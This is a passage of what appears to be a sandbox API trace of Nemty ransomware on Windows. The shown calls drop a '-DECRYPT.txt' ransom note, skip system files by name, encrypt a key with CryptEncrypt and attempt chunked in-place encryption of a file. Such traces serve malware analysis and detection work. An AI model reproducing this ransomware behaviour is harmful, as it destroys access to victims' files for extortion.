lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0113.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0113.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0113.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340268 [0113.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340330 [0113.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403d8 [0113.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0113.433] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0113.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0113.434] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.434] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0113.435] CloseHandle (hObject=0x254) returned 1 [0113.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340330 [0113.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403d8 [0113.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0113.435] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0113.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0113.436] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.436] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0113.437] CloseHandle (hObject=0x254) returned 1 [0113.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf740f250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf740f250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0113.437] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0113.438] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf740f250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf740f250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.438] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0113.438] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0113.438] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2=".") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="..") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="...") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="windows") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="$RECYCLE.BIN") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="rsa") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="NTDETECT.COM") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="ntldr") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="MSDOS.SYS") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="IO.SYS") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="boot.ini") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="boot.ini") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="AUTOEXEC.BAT") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="ntuser.dat") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="desktop.ini") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="CONFIG.SYS") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="RECYCLER") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="BOOTSECT.BAK") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="bootmgr") returned 1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="programdata") returned -1 [0113.438] lstrcmpiW (lpString1="clock.css", lpString2="appdata") returned 1 [0113.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.css", lpUsedDefaultChar=0x0) returned 9 [0113.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.css", lpUsedDefaultChar=0x0) returned 9 [0113.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.css", lpUsedDefaultChar=0x0) returned 9 [0113.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.css", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.css", lpUsedDefaultChar=0x0) returned 9 [0113.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340330 [0113.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d8 [0113.439] Sleep (dwMilliseconds=0x5) [0113.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf74353b0, dwHighDateTime=0x1d561e7)) [0113.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf74353b0, dwHighDateTime=0x1d561e7)) [0113.441] GetLastError () returned 0xb7 [0113.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.441] GetLastError () returned 0xb7 [0113.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0113.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0113.441] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0113.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0113.441] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="CYy8gElRY4paQV3qDpAQXsTwfeMPT6MtfHDQB0p43XDQ+DDtf4BHUcm5SYpVoOLY\r\nSiz9EtIqBrH8WwgXwppa1PaYXrD0vbcsdWu7d9pvv8FEueWNiy2Hh6fkKo3sT0T/\r\nR+JwJA1GTXxgkBpnDkOqYGmXYDvtTGWzrQDHJ+pJAYAzBiNECi0w4rJquAlqxksq\r\n8JS8ya9Wr3ySKd1aNzG24BncRatxfUfg12zMzvQ4KCTANhlBrLmqnnK/x63YRn63\r\nDtbFaXULghREsAib+ukTJafqjnjjxhsSQ3A07QvzKIRjxSRl4hnrQbQGbqShlKSt\r\nChBwdDLPnBLLqgSIl9yOBg==\r\n", pcchString=0x653e5dc) returned 1 [0113.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0113.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.442] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.442] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0113.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 